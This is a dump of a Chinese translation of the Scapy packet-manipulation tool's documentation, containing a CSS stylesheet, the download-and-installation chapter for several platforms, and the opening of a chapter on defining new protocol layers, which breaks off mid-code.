12 | border: 0; 13 | } 14 | 15 | /* BODY 16 | =============================================================================*/ 17 | 18 | body { 19 | font-family: Helvetica, arial, freesans, clean, sans-serif; 20 | font-size: 14px; 21 | line-height: 1.6; 22 | color: #333; 23 | background-color: #fff; 24 | padding: 20px; 25 | max-width: 960px; 26 | margin: 0 auto; 27 | } 28 | 29 | body>*:first-child { 30 | margin-top: 0 !important; 31 | } 32 | 33 | body>*:last-child { 34 | margin-bottom: 0 !important; 35 | } 36 | 37 | /* BLOCKS 38 | =============================================================================*/ 39 | 40 | p, blockquote, ul, ol, dl, table, pre { 41 | margin: 15px 0; 42 | } 43 | 44 | /* HEADERS 45 | =============================================================================*/ 46 | 47 | h1, h2, h3, h4, h5, h6 { 48 | margin: 20px 0 10px; 49 | padding: 0; 50 | font-weight: bold; 51 | -webkit-font-smoothing: antialiased; 52 | } 53 | 54 | h1 tt, h1 code, h2 tt, h2 code, h3 tt, h3 code, h4 tt, h4 code, h5 tt, h5 code, h6 tt, h6 code { 55 | font-size: inherit; 56 | } 57 | 58 | h1 { 59 | font-size: 24px; 60 | border-bottom: 1px solid #ccc; 61 | color: #000; 62 | } 63 | 64 | h2 { 65 | font-size: 18px; 66 | color: #000; 67 | } 68 | 69 | h3 { 70 | font-size: 14px; 71 | } 72 | 73 | h4 { 74 | font-size: 14px; 75 | } 76 | 77 | h5 { 78 | font-size: 14px; 79 | } 80 | 81 | h6 { 82 | color: #777; 83 | font-size: 14px; 84 | } 85 | 86 | body>h2:first-child, body>h1:first-child, body>h1:first-child+h2, body>h3:first-child, body>h4:first-child, body>h5:first-child, body>h6:first-child { 87 | margin-top: 0; 88 | padding-top: 0; 89 | } 90 | 91 | a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 { 92 | margin-top: 0; 93 | padding-top: 0; 94 | } 95 | 96 | h1+p, h2+p, h3+p, h4+p, h5+p, h6+p { 97 | margin-top: 10px; 98 | } 99 | 100 | /* LINKS 101 | =============================================================================*/ 102 | 103 | a { 104 | color: #4183C4; 105 | text-decoration: none; 106 | } 107 | 108 | a:hover { 109 | text-decoration: underline; 110 | } 111 | 112 | /* LISTS 113 | =============================================================================*/ 114 | 115 | ul, ol { 116 | padding-left: 30px; 117 | } 118 | 119 | ul li > :first-child, 120 | ol li > :first-child, 121 | ul li ul:first-of-type, 122 | ol li ol:first-of-type, 123 | ul li ol:first-of-type, 124 | ol li ul:first-of-type { 125 | margin-top: 0px; 126 | } 127 | 128 | ul ul, ul ol, ol ol, ol ul { 129 | margin-bottom: 0; 130 | } 131 | 132 | dl { 133 | padding: 0; 134 | } 135 | 136 | dl dt { 137 | font-size: 14px; 138 | font-weight: bold; 139 | font-style: italic; 140 | padding: 0; 141 | margin: 15px 0 5px; 142 | } 143 | 144 | dl dt:first-child { 145 | padding: 0; 146 | } 147 | 148 | dl dt>:first-child { 149 | margin-top: 0px; 150 | } 151 | 152 | dl dt>:last-child { 153 | margin-bottom: 0px; 154 | } 155 | 156 | dl dd { 157 | margin: 0 0 15px; 158 | padding: 0 15px; 159 | } 160 | 161 | dl dd>:first-child { 162 | margin-top: 0px; 163 | } 164 | 165 | dl dd>:last-child { 166 | margin-bottom: 0px; 167 | } 168 | 169 | /* CODE 170 | =============================================================================*/ 171 | 172 | pre, code, tt { 173 | font-size: 12px; 174 | font-family: Consolas, "Liberation Mono", Courier, monospace; 175 | } 176 | 177 | code, tt { 178 | margin: 0 0px; 179 | padding: 0px 0px; 180 | white-space: nowrap; 181 | border: 1px solid #eaeaea; 182 | background-color: #f8f8f8; 183 | border-radius: 3px; 184 | } 185 | 186 | pre>code { 187 | margin: 0; 188 | padding: 0; 189 | white-space: pre; 190 | border: none; 191 | background: transparent; 192 | } 193 | 194 | pre { 195 | background-color: #f8f8f8; 196 | border: 1px solid #ccc; 197 | font-size: 13px; 198 | line-height: 19px; 199 | overflow: auto; 200 | padding: 6px 10px; 201 | border-radius: 3px; 202 | } 203 | 204 | pre code, pre tt { 205 | background-color: transparent; 206 | border: none; 207 | } 208 | 209 | kbd { 210 | -moz-border-bottom-colors: none; 211 | -moz-border-left-colors: none; 212 | -moz-border-right-colors: none; 213 | -moz-border-top-colors: none; 214 | background-color: #DDDDDD; 215 | background-image: linear-gradient(#F1F1F1, #DDDDDD); 216 | background-repeat: repeat-x; 217 | border-color: #DDDDDD #CCCCCC #CCCCCC #DDDDDD; 218 | border-image: none; 219 | border-radius: 2px 2px 2px 2px; 220 | border-style: solid; 221 | border-width: 1px; 222 | font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; 223 | line-height: 10px; 224 | padding: 1px 4px; 225 | } 226 | 227 | /* QUOTES 228 | =============================================================================*/ 229 | 230 | blockquote { 231 | border-left: 4px solid #DDD; 232 | padding: 0 15px; 233 | color: #777; 234 | } 235 | 236 | blockquote>:first-child { 237 | margin-top: 0px; 238 | } 239 | 240 | blockquote>:last-child { 241 | margin-bottom: 0px; 242 | } 243 | 244 | /* HORIZONTAL RULES 245 | =============================================================================*/ 246 | 247 | hr { 248 | clear: both; 249 | margin: 15px 0; 250 | height: 0px; 251 | overflow: hidden; 252 | border: none; 253 | background: transparent; 254 | border-bottom: 4px solid #ddd; 255 | padding: 0; 256 | } 257 | 258 | /* TABLES 259 | =============================================================================*/ 260 | 261 | table th { 262 | font-weight: bold; 263 | } 264 | 265 | table th, table td { 266 | border: 1px solid #ccc; 267 | padding: 6px 13px; 268 | } 269 | 270 | table tr { 271 | border-top: 1px solid #ccc; 272 | background-color: #fff; 273 | } 274 | 275 | table tr:nth-child(2n) { 276 | background-color: #f8f8f8; 277 | } 278 | 279 | /* IMAGES 280 | =============================================================================*/ 281 | 282 | img { 283 | max-width: 100% 284 | } -------------------------------------------------------------------------------- /2.md: -------------------------------------------------------------------------------- 1 | # 下载和安装 2 | 3 | > 译者:[飞龙](https://github.com/wizardforcel) 4 | 5 | > 原文:[Download and Installation](http://www.secdev.org/projects/scapy/doc/installation.html) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 概览 10 | 11 | + 安装 Python 2.5。 12 | + 下载并安装 Scapy。 13 | + (对于非Linux平台):安装`libpcap`和`libdnet`及其 Python 包装器。 14 | + (可选):安装用于特殊功能的其他软件。 15 | + 使用 root 权限运行 Scapy。 16 | 17 | 每个步骤可以以不同的方式完成,具体取决于你的平台和要使用的 Scapy 版本。 18 | 19 | 目前,Scapy 有两个不同版本: 20 | 21 | + Scapy v1.x。它只包含一个文件,并适用于 Python 2.4,因此它可能更易于安装。 此外,你的操作系统可能已经含有一个为之特别准备的包或端口。 最后一个版本是 v1.2.2。 22 | + Scapy v2.x。当前的开发版本增加了多个功能(例如 IPv6)。 它包括以`distutils`标准方式打包的几个文件。 Scapy v2 需要 Python 2.5。 23 | 24 | > 注意:在 Scapy v2 中使用`from scapy.all import *`来代替`from scapy import *`。 25 | 26 | ## 安装 Scapy v2.x 27 | 28 | 以下步骤描述如何安装(或更新)Scapy 本身。 根据你的平台,可能需要安装一些额外的库才能使其真正工作。 所以,请大家在平台特定之指南中查看如何安装这些必需的东西。 29 | 30 | > 注意:以下步骤适用于类 Unix 操作系统(Linux,BSD,Mac OS X)。 对于 Windows,请参阅下面的特殊章节。 31 | 32 | 确保在继续之前安装了 Python。 33 | 34 | ## 最新发行版 35 | 36 | 将[最新版本](http://scapy.net/)下载到临时目录,并以`distutils`标准方式来安装。 37 | 38 | ``` 39 | $ cd /tmp 40 | $ wget scapy.net 41 | $ unzip scapy-latest.zip 42 | $ cd scapy-2.* 43 | $ sudo python setup.py install 44 | ``` 45 | 46 | 或者,你也可以执行 Zip 文件: 47 | 48 | ``` 49 | $ chmod +x scapy-latest.zip 50 | $ sudo ./scapy-latest.zip 51 | ``` 52 | 53 | 或者: 54 | 55 | ``` 56 | $ sudo sh scapy-latest.zip 57 | ``` 58 | 59 | 或者: 60 | 61 | ``` 62 | $ mv scapy-latest.zip /usr/local/bin/scapy 63 | $ sudo scapy 64 | ``` 65 | 66 | > 注意:要制作 zip 可执行文件,需要在 zip 标头之前添加一些字节。 大多数但并不是所有 zip 程序都会处理它。 如果你的 zip 程序报告该 zip 文件被损坏,可以更改它,或在 下载一个不可执行的 zip 文件。 67 | 68 | ## 当前开发版 69 | 70 | 如果你总想使用带有所有新功能和错误修正的最新版本,请使用 Scapy 的 Mercurial 仓库: 71 | 72 | 1. 安装 [Mercurial](http://www.selenic.com/mercurial/) 版本控制系统,例如,在 Debian/Ubuntu 下执行: 73 | 74 | ``` 75 | $ sudo apt-get install mercurial 76 | ``` 77 | 78 | 或者在 OpenBSD 上: 79 | 80 | ``` 81 | $ pkg_add mercurial 82 | ``` 83 | 84 | 2. 克隆 Scapy 仓库: 85 | 86 | ``` 87 | $ hg clone http://hg.secdev.org/scapy 88 | ``` 89 | 90 | 3. 以`distutils`标准方式来安装 Scapy: 91 | 92 | ``` 93 | $ cd scapy 94 | $ sudo python setup.py install 95 | ``` 96 | 97 | 之后你可以始终更新到最新版本: 98 | 99 | ``` 100 | $ hg pull 101 | $ hg update 102 | $ sudo python setup.py install 103 | ``` 104 | 105 | Mercurial 的更多信息请参阅 [Mercurial book](http://hgbook.red-bean.com/)。 106 | 107 | ## 安装 Scapy v1.2 108 | 109 | 由于 Scapy v1 仅包含一个单一的 Python 文件,安装很容易:只需下载最新版本并使用 Python 解释器运行它: 110 | 111 | ``` 112 | $ wget http://hg.secdev.org/scapy/raw-file/v1.2.0.2/scapy.py 113 | $ sudo python scapy.py 114 | ``` 115 | 116 | 在 BSD 系统上,你还可以尝试使用最新版本的 Scapy-bpf(开发仓库)。 它不需要`libpcap`或`libdnet`。 117 | 118 | ## 用于特殊功能的可选软件 119 | 120 | 对于某些特殊功能,你必须安装更多软件。 有关如何安装这些包的平台特定说明,请参见下一节。 这里是涉及的主题和一些例子,你可以使用它们来尝试是否能够安装成功。 121 | 122 | + 绘图。`plot()`需要 [Gnuplot-py](http://gnuplot-py.sourceforge.net/),它需要 [GnuPlot](http://www.gnuplot.info/) 和 [NumPy](http://numpy.scipy.org/)。 123 | 124 | ```py 125 | >>> p=sniff(count=50) 126 | >>> p.plot(lambda x:len(x)) 127 | ``` 128 | 129 | + 2D 图形。 `psdump()`和`pdfdump()`需要 [PyX](http://pyx.sourceforge.net/),而这需要一个 [LaTeX 分发版](http://www.tug.org/texlive/)。 要以交互方式查看 PDF 和 PS 文件,你还需要 [Adobe Reader](http://www.adobe.com/products/reader/)(`acroread`)和 [gv](http://wwwthep.physik.uni-mainz.de/~plass/gv/)(`gv`)。 130 | 131 | ```py 132 | >>> p=IP()/ICMP() 133 | >>> p.pdfdump("test.pdf") 134 | ``` 135 | 136 | + 图形。`conversations()`需要 [Grapviz](http://www.graphviz.org/) 和 [ImageMagick](http://www.imagemagick.org/)。 137 | 138 | ```py 139 | >>> p=readpcap("myfile.pcap") 140 | >>> p.conversations(type="jpg", target="> test.jpg") 141 | ``` 142 | 143 | + 3D 图形。`trace3D()`需要 [VPython](http://www.vpython.org/)。 144 | 145 | ```py 146 | >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"]) 147 | >>> a.trace3D() 148 | ``` 149 | 150 | + WEP 解密。`unwep()`需要 [PyCrypto](http://www.dlitz.net/software/pycrypto/)。例子中使用了 [Weplap 测试文件](http://weplab.sourceforge.net/caps/weplab-64bit-AA-managed.pcap)。 151 | 152 | ```py 153 | >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") 154 | >>> enc.show() 155 | >>> enc[0] 156 | >>> conf.wepkey="AA\x00\x00\x00" 157 | >>> dec=Dot11PacketList(enc).toEthernet() 158 | >>> dec.show() 159 | >>> dec[0] 160 | ``` 161 | 162 | + 指纹识别。`nmap_fp()`需要 [Nmap](http://nmap.org/)。你需要支持第一代指纹识别的[老版本](http://nmap.org/dist-old/)(v4.23 之前)。 163 | 164 | ```py 165 | >>> load_module("nmap") 166 | >>> nmap_fp("192.168.0.1") 167 | Begin emission: 168 | Finished to send 8 packets. 169 | Received 19 packets, got 4 answers, remaining 4 packets 170 | (0.88749999999999996, ['Draytek Vigor 2000 ISDN router']) 171 | ``` 172 | 173 | + VOIP。`voip_play()`需要 [SoX](http://sox.sourceforge.net/)。 174 | 175 | 176 | ## 平台特定指南 177 | 178 | ### Linux 原生 179 | 180 | Scapy 可以在 Linux 上原生运行,不需要`libdnet`和`libpcap`。 181 | 182 | 安装 Python 2.5。 183 | 安装`tcpdump`并确保它在`$ PATH`中。 (它只用于编译 BPF 过滤器(`-ddd`选项)) 184 | 确保你的内核已选择分组套接字(`CONFIG_PACKET`) 185 | 如果你的内核`<2.6`,请确保选择套接字过滤(`CONFIG_FILTER`) 186 | 187 | ### Debian/Ubuntu 188 | 189 | 只需使用标准包: 190 | 191 | ``` 192 | $ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-crypto python-pyx 193 | ``` 194 | 195 | ### Fedora 196 | 197 | 这里是在 Fedora 9 中安装 Scapy 的方法: 198 | 199 | ``` 200 | # yum install mercurial python-devel 201 | # cd /tmp 202 | # hg clone http://hg.secdev.org/scapy 203 | # cd scapy 204 | # python setup.py install 205 | ``` 206 | 207 | 一些可选包: 208 | 209 | ``` 210 | # yum install graphviz python-crypto sox PyX gnuplot numpy 211 | # cd /tmp 212 | # wget http://heanet.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.8.tar.gz 213 | # tar xvfz gnuplot-py-1.8.tar.gz 214 | # cd gnuplot-py-1.8 215 | # python setup.py install 216 | ``` 217 | 218 | ### Mac OS X 219 | 220 | 以下是在 Mac OS 10.4(Tiger)或 10.5(Leopard)上安装 Scapy 的方式。 221 | 222 | #### 建立环境变量 223 | 224 | + 安装 X11。 在 Mac OS X DVD 上,它位于『可选 Installs.mpkg』软件包中。 225 | + 安装 SDK。 在 Mac OS X DVD 上,它位于『Xcode Tools/Packages』目录中。 226 | + 从 Python.org 安装 Python 2.5。 使用 Apple 的 Python 版本会导致一些问题。 请见 。 227 | 228 | #### 使用 MacPorts 安装 229 | 230 | + 从 macports.org 下载 dmg 并安装它。 231 | 232 | + 更新 MacPorts: 233 | 234 | ``` 235 | $ sudo port -d selfupdate 236 | ``` 237 | 238 | + 安装 Scapy: 239 | 240 | ``` 241 | $ sudo port install scapy 242 | ``` 243 | 244 | 像上面的通用安装所展示的那样,随后你可以更新到最新版。 245 | 246 | #### 从源码安装 247 | 248 | 安装`libdnet`和 Python 包装器: 249 | 250 | ``` 251 | $ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz 252 | $ tar xfz libdnet-1.12.tgz 253 | $ ./configure 254 | $ make 255 | $ sudo make install 256 | $ cd python 257 | $ python2.5 setup.py install 258 | ``` 259 | 260 | 安装`libpcap`和 Python 包装器: 261 | 262 | ``` 263 | $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.2.tar.gz 264 | $ tar xfz pylibpcap-0.6.2.tar.gz 265 | $ cd pylibpcap-0.6.2 266 | $ python2.5 setup.py install 267 | ``` 268 | 269 | 可选:安装`readline`: 270 | 271 | ``` 272 | $ python `python -c "import pimp; print pimp.__file__"` -i readline 273 | ``` 274 | 275 | ### OpenBSD 276 | 277 | 这里是在 OpenBSD 中安装 Scapy 的方式: 278 | 279 | ``` 280 | # export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/4.3/packages/i386/ 281 | # pkg_add py-libpcap py-libdnet mercurial 282 | # ln -sf /usr/local/bin/python2.5 /usr/local/bin/python 283 | # cd /tmp 284 | # hg clone http://hg.secdev.org/scapy 285 | # cd scapy 286 | # python setup.py install 287 | ``` 288 | 289 | #### 可选包 290 | 291 | py-crypto 292 | 293 | ``` 294 | # pkg_add py-crypto 295 | ``` 296 | 297 | Graphviz(下载的东西多,会安装多个 GNOME 库) 298 | 299 | ``` 300 | # pkg_add graphviz 301 | ``` 302 | 303 | ImageMagick(需要较长时间来编译) 304 | 305 | ``` 306 | # cd /tmp 307 | # ftp ftp://ftp.openbsd.org/pub/OpenBSD/4.3/ports.tar.gz 308 | # cd /usr 309 | # tar xvfz /tmp/ports.tar.gz 310 | # cd /usr/ports/graphics/ImageMagick/ 311 | # make install 312 | ``` 313 | 314 | PyX(下载的东西非常多,会安装 textlive 以及其他) 315 | 316 | ``` 317 | # pkg_add py-pyx 318 | ``` 319 | 320 | `/etc/ethertypes` 321 | 322 | ``` 323 | # wget http://www.secdev.org/projects/scapy/files/ethertypes -O /etc/ethertypes 324 | ``` 325 | 326 | python-bz2(用于 UTscapy) 327 | 328 | ``` 329 | # pkg_add python-bz2 330 | ``` 331 | 332 | ### Windows 333 | 334 | Scapy 主要是为类 Unix 系统开发的,并且在这些平台上能正常工作。 但是最新版本的 Scapy 开箱即用支持 Windows。 所以你可以在 Windows 机器上使用几乎所有的 Scapy 的功能。 335 | 336 | > 注意:如果你从 Scapy-win v1.2.0.2 更新到 Scapy v2,请记住使用`scapy.all import *`而不是`from scapy import *`。 337 | 338 | ![](http://www.secdev.org/projects/scapy/doc/_images/scapy-win-screenshot1.png) 339 | 340 | 你需要以下软件包才能在 Windows 上安装 Scapy: 341 | 342 | + [Python](http://www.python.org/):[`python-2.5.4.msi`](http://www.python.org/ftp/python/2.5.4/python-2.5.4.msi)或[`python-2.6.3.msi`](http://www.python.org/ftp/python/2.6.3/python-2.6.3.msi)。安装后,将 Python 安装目录及其`Scripts`子目录添加到`PATH`。根据你的 Python 版本,默认值分别是`C:\ Python25`和`C:\Python25\Scripts`或`C:\Python26`和`C:\Python26\Scripts`。 343 | + [Scapy](http://www.secdev.org/projects/scapy/):来自 [Mercurial 仓库](http://hg.secdev.org/scapy)的[最新开发版本](http://hg.secdev.org/scapy/archive/tip.zip)。解压缩归档文件,在该目录中打开命令提示符并运行`python setup.py install`。 344 | + [pywin32](http://python.net/crew/mhammond/win32/Downloads.html):[`pywin32-214.win32-py2.5.exe`](http://surfnet.dl.sourceforge.net/sourceforge/pywin32/pywin32-214.win32-py2.5.exe)或[`pywin32-214.win32-py2.6.exe`](http://downloads.sourceforge.net/project/pywin32/pywin32/Build%20214/pywin32-214.win32-py2.6.exe)。 345 | + [WinPcap](http://www.winpcap.org/):[`WinPcap_4_1_1.exe`](http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe)。你可能需要选择`[x] Automatically start the WinPcap driver at boot time`(在启动时自动启动 WinPcap 驱动程序),以便非特权用户可以嗅探,特别是在 Vista 和 Windows 7 下。如果要使用以太网供应商数据库来解析 MAC 地址或使用`wireshark()`命令,请下载已经包含 WinPcap 的 Wireshark。 346 | + [pypcap](http://code.google.com/p/pypcap/):[`pcap-1.1-scapy-20090720.win32-py25.exe`](http://www.secdev.org/projects/scapy/files/pcap-1.1-scapy-20090720.win32-py2.5.exe)或[`pcap-1.1-scapy-20090720.win32-py2.6.exe`](http://www.secdev.org/projects/scapy/files/pcap-1.1-scapy-20090720.win32-py2.6.exe)。这是 Scapy 的特殊版本,因为原始版本会导致一些时序问题。现在在 Vista 和 Windows 7 上也可工作。在 Vista/Win7 下,右键单击安装程序并选择`Run as administrator`(以管理员身份运行)。 347 | + [libdnet](http://code.google.com/p/libdnet/):[`dnet-1.12.win32-py2.5.exe`](http://libdnet.googlecode.com/files/dnet-1.12.win32-py2.5.exe)或[`dnet-1.12.win32-py2.6.exe`](http://www.secdev.org/projects/scapy/files/dnet-1.12.win32-py2.6.exe)。在 Vista/Win7 下,右键单击安装程序,选择`Run as administrator`(以管理员身份运行)。 348 | + [pyreadline](http://ipython.scipy.org/moin/PyReadline/Intro):[`pyreadline-1.5-win32-setup.exe`](http://ipython.scipy.org/dist/pyreadline-1.5-win32-setup.exe)。 349 | 350 | 只需下载文件并运行安装程序。选择默认安装选项应该会安全。 351 | 352 | 为了方便起见,链接中直接给出了我使用的版本(对于 Python 2.5 和 Python 2.6)。如果这些链接不起作用,或者你使用的是不同的 Python 版本,只需访问相应软件包的主页并查找 Windows 二进制文件即可。你可以在网上搜索文件名作为最后的手段。 353 | 354 | 安装所有软件包后,打开命令提示符(`cmd.exe`),然后键入`scapy`运行 Scapy。如果你正确设置了`PATH`,这将在`C:\Python26\Scripts`目录中会找到一个批处理文件,并指导 Python 解释器加载 Scapy。 355 | 356 | 如果不能正常工作,考虑跳过 Windows 版本,并从 Linux Live CD 中使用 Scapy - 在 Windows 主机上的虚拟机中,或通过从 CDROM 引导:例如旧版本的 Scapy 已经包含在 grml 和 BackTrack 中。在使用 Live CD 时,你可以通过键入`cd /tmp && wget scapy.net`轻松升级到最新的 Scapy 版本。 357 | 358 | #### 可选包 359 | 360 | 绘图(`plot`) 361 | 362 | + [GnuPlot](http://www.gnuplot.info/):[`gp420win32.zip`](http://downloads.sourceforge.net/gnuplot/gp420win32.zip)。 解压 zip 文件(例如到`c:\gnuplot`),并将`gnuplot\bin`目录添加到`PATH`。 363 | + [NumPy](http://numpy.scipy.org/):[`numpy-1.3.0-win32-superpack-python2.5.exe`](http://downloads.sourceforge.net/project/numpy/NumPy/1.3.0/numpy-1.3.0-win32-superpack-python2.5.exe)或[`numpy-1.3.0-win32-superpack-python2.6.exe`](http://downloads.sourceforge.net/project/numpy/NumPy/1.3.0/numpy-1.3.0-win32-superpack-python2.6.exe)。 Gnuplot-py 1.8 需要 NumPy。 364 | + [Gnuplot-py](http://gnuplot-py.sourceforge.net/):[`gnuplot-py-1.8.zip`](http://downloads.sourceforge.net/project/gnuplot-py/Gnuplot-py/1.8/gnuplot-py-1.8.zip)。 解压到临时目录,打开命令提示符,进入临时目录并键入`python setup.py install`。 365 | 366 | 2D 图形(`psdump`,`pdfdump`) 367 | 368 | + [PyX](http://pyx.sourceforge.net/):[`PyX-0.10.tar.gz`](http://mesh.dl.sourceforge.net/sourceforge/pyx/PyX-0.10.tar.gz)。 解压到临时目录,打开命令提示符,进入临时目录并键入`python setup.py install`。 369 | + [MikTeX](http://miktex.org/):[MiKTeX 2.8 基本安装程序](http://miktex.org/2.8/setup)。 PyX 需要安装 LaTeX 。 选择一个不带空格的安装目录(例如`C\MikTex2.8`,并将`(INSTALLDIR)\miktex\bin`子目录添加到你的`PATH`。 370 | 371 | 图形(`conversations`) 372 | 373 | + [Graphviz](http://www.graphviz.org/):[`graphviz-2.24.exe`](http://www.graphviz.org/pub/graphviz/stable/windows/graphviz-2.24.msi)。将`(INSTALLDIR)\ATT\Graphviz\bin`添加到你的`PATH`。 374 | 375 | WEP 加密 376 | 377 | [PyCrypto](http://www.dlitz.net/software/pycrypto/):[`pycrypto-2.1.0.win32-py2.5.zip`](http://www.voidspace.org.uk/downloads/pycrypto-2.1.0.win32-py2.5.zip)或[`pycrypto-2.1.0.win32-py2.6.zip`](http://www.voidspace.org.uk/downloads/pycrypto-2.1.0.win32-py2.6.zip)。 378 | 379 | 指纹识别 380 | 381 | [Nmap](http://nmap.org/)。[`nmap-4.20-setup.exe`](http://download.insecure.org/nmap/dist-old/nmap-4.20-setup.exe)。如果使用默认安装目录,Scapy 应自动查找指纹文件。 382 | Queso:[`queso-980922.tar.gz`](http://www.packetstormsecurity.org/UNIX/scanners/queso-980922.tar.gz)。解压`tar.gz`文件(例如使用 7-Zip)并将`queso.conf`放入你的 Scapy 目录 383 | 384 | #### 截图 385 | 386 | ![](http://www.secdev.org/projects/scapy/doc/_images/scapy-win-screenshot2.png) 387 | 388 | #### 已知 Bug 389 | 390 | + 你可能无法在 Windows 上捕获 WLAN 流量。 原因在 Wireshark wiki 和 WinPcap 常见问题中有解释。 尝试关闭混合模式`conf.sniff_promisc = False`。 391 | + 数据包无法发送到 localhost(或你自己的主机上的本机 IP 地址)。 392 | + `voip_play()`函数不工作,因为他们通过`/dev/dsp`输出声音,这在 Windows 上不可用。 393 | -------------------------------------------------------------------------------- /6.md: -------------------------------------------------------------------------------- 1 | # 添加新的协议 2 | 3 | > 译者:[草帽小子_DJ](http://blog.csdn.net/dj1174232716/) 4 | 5 | > 来源:[Python Scapy(2.3.1)文档学习(六):添加新的协议](http://blog.csdn.net/dj1174232716/article/details/49046409) 6 | 7 | > 原文:[Adding new protocols](http://www.secdev.org/projects/scapy/doc/build_dissect.html) 8 | 9 | > 协议:[CC BY-NC-SA 2.5](http://creativecommons.org/licenses/by-nc-sa/2.5/) 10 | 11 | 在Scapy中添加新的协议(或者是更加的高级:新的协议层)是非常容易的。所有的魔法都在字段中,如果你需要的字段已经有了,你就不必对这个协议太伤脑筋,几分钟就能搞定了。 12 | 13 | ## 简单的例子 14 | 15 | 每一个协议层都是`Packet`类的子类。协议层背后所有逻辑的操作都是被`Packet`类和继承的类所处理的。一个简单的协议层是被一系列的字段构成,他们关联在一起组成了协议层,解析时拆分成一个一个的字符串。这些字段都包含在名为`fields_desc`的属性中。每一个字段都是一个`field`类的实例: 16 | 17 | ```py 18 | class Disney(Packet): 19 | name = "DisneyPacket " 20 | fields_desc=[ ShortField("mickey",5), 21 | XByteField("minnie",3) , 22 | IntEnumField("donald" , 1 , 23 | { 1: "happy", 2: "cool" , 3: "angry" } ) ] 24 | ``` 25 | 26 | 在这个例子中,我们的协议层有三个字段,第一个字段是一个2个字节的短整型字段,名字为`mickey`,默认值是5,第二个字段是1个自己的整形字段,名字为`minnie`,默认值是3,普通的`ByteField`和`XByteField`之间的唯一不同的就是首选的字段值是十六进制。最后一个字段是一个4个字节的整数字段,名字为`donald`,他不同于普通的`IntField`类型的是他有一些更小的值供选择,类似于枚举类型,比如说,如果他的值是3的话则显示`angry`。此外,如果`cool`值被关联到这个字段上,他将会明白接受的是2. 27 | 28 | 如果你的协议像上面这么简单,他已经可以用了: 29 | 30 | ``` 31 | >>> d=Disney(mickey=1) 32 | >>> ls(d) 33 | mickey : ShortField = 1 (5) 34 | minnie : XByteField = 3 (3) 35 | donald : IntEnumField = 1 (1) 36 | >>> d.show() 37 | ###[ Disney Packet ]### 38 | mickey= 1 39 | minnie= 0x3 40 | donald= happy 41 | >>> d.donald="cool" 42 | >>> str(d) 43 | ’\x00\x01\x03\x00\x00\x00\x02’ 44 | >>> Disney( ) 45 | 46 | ``` 47 | 48 | 本章讲解了用Scapy如何构建一个新的协议,这里有两个目标: 49 | 50 | 分解:这样做是为了当接收到一个数据包时(来自网络或者是文件)能够被转化成Scapy的内部结构。 51 | 52 | 构建:当想发送一个新的数据包时,有些填充数据需要被自动的额调整。 53 | 54 | ## 协议层 55 | 56 | 在深入剖析之前,让我们来看看数据包是怎样组织的。 57 | 58 | ``` 59 | >>> p = IP()/TCP()/"AAAA" 60 | >>> p 61 | >> 62 | >>> p.summary() 63 | 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' 64 | ``` 65 | 66 | 我们很感兴趣这两个内部的字段类`Packet`: 67 | 68 | + `p.underlayer` 69 | 70 | + `p.payload` 71 | 72 | 这里是主要的“伎俩”。你不必在乎数据包,只关注协议层,一个堆在另一个上面。 73 | 74 | 一个可以通过协议层的名字容易的访问协议层:`p[TCP]`返回的是TCP和下面的协议,这是`p.getlayer(TCP)`的一个快捷方式。 75 | 76 | 注意:这里有一个可选的参数`nb`,用来返回所需协议的第几层协议层。 77 | 78 | 让我们将所有的放在一起,玩玩这个TCP协议层: 79 | 80 | ``` 81 | >>> tcp=p[TCP] 82 | >>> tcp.underlayer 83 | >> 84 | >>> tcp.payload 85 | 86 | ``` 87 | 88 | 不出所料,`tcp.underlayer`指向的是我们IP数据包的开始,而`tcp.payload`是他的有效载荷。 89 | 90 | ### 构建一个新的协议层 91 | 92 | 非常简单!一个协议层就是由一系列的字段构成。让我们来看看UDP的定义: 93 | 94 | ```py 95 | class UDP(Packet): 96 | name = "UDP" 97 | fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), 98 | ShortEnumField("dport", 53, UDP_SERVICES), 99 | ShortField("len", None), 100 | XShortField("chksum", None), ] 101 | ``` 102 | 103 | 为了方便,内部已经定义了许多字段,看看文档“W”的源码Phil会告诉你的。(这句我也不知道原文是什么意思)。 104 | 105 | 所以,定义一个协议层就是简单的组合一系列的字段,现在的目标是为每个字段提供有限的默认值,所以当用户构建数据包的时候不必给他们赋值。 106 | 107 | 主要的机制是基于`Field`结构,要牢记协议层就只是一系列的字段,不用记得太多。 108 | 109 | 所以,为了理解协议层是怎样工作的,一个就是需要快速的看看字段是怎么被处理的。 110 | 111 | ### 操作数据包==操作他们的字段 112 | 113 | 一个字段应该被考虑到有多种状态 114 | 115 | + i (internal) :这是Scapy怎样操作它们的方法。 116 | 117 | + m (machine) :这是真正的数据,这就是他们在网络上的样子。 118 | 119 | + h (human) :如何将数据展示给人们看。 120 | 121 | 这解释了一些神秘的方法`i2h()`,`i2m()`,`m2i()`可以用于每一个字段:他们都是将一种状态转换成另一种状态,用于特殊的用途。 122 | 123 | 其他特殊的方法有: 124 | 125 | + `any2i()`:猜测输入的状态装换为internal状态。 126 | 127 | + `i2repr()`:比`i2h()`更好。 128 | 129 | 然而,所有的这些都是底层的方法。用于添加或提取字段到当前的协议的方法是: 130 | 131 | + `addfield(self, pkt, s, val)`:复制网络上原始的字段值`val`(属于`pkt`协议层的)到原始的字符串数据包`s`: 132 | 133 | ```py 134 | class StrFixedLenField(StrField): 135 | def addfield(self, pkt, s, val): 136 | return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) 137 | ``` 138 | 139 | + `getfield(self, pkt, s)`:从原始的数据包`s`中提取出属于协议层`pkt`的字段值。他返回一个序列,第一个元素是移除了被抽取的字段值的原始的数据包字符串,第二个元素是被抽取字段的internal的表示状态: 140 | 141 | ```py 142 | class StrFixedLenField(StrField): 143 | def getfield(self, pkt, s): 144 | return s[self.length:], 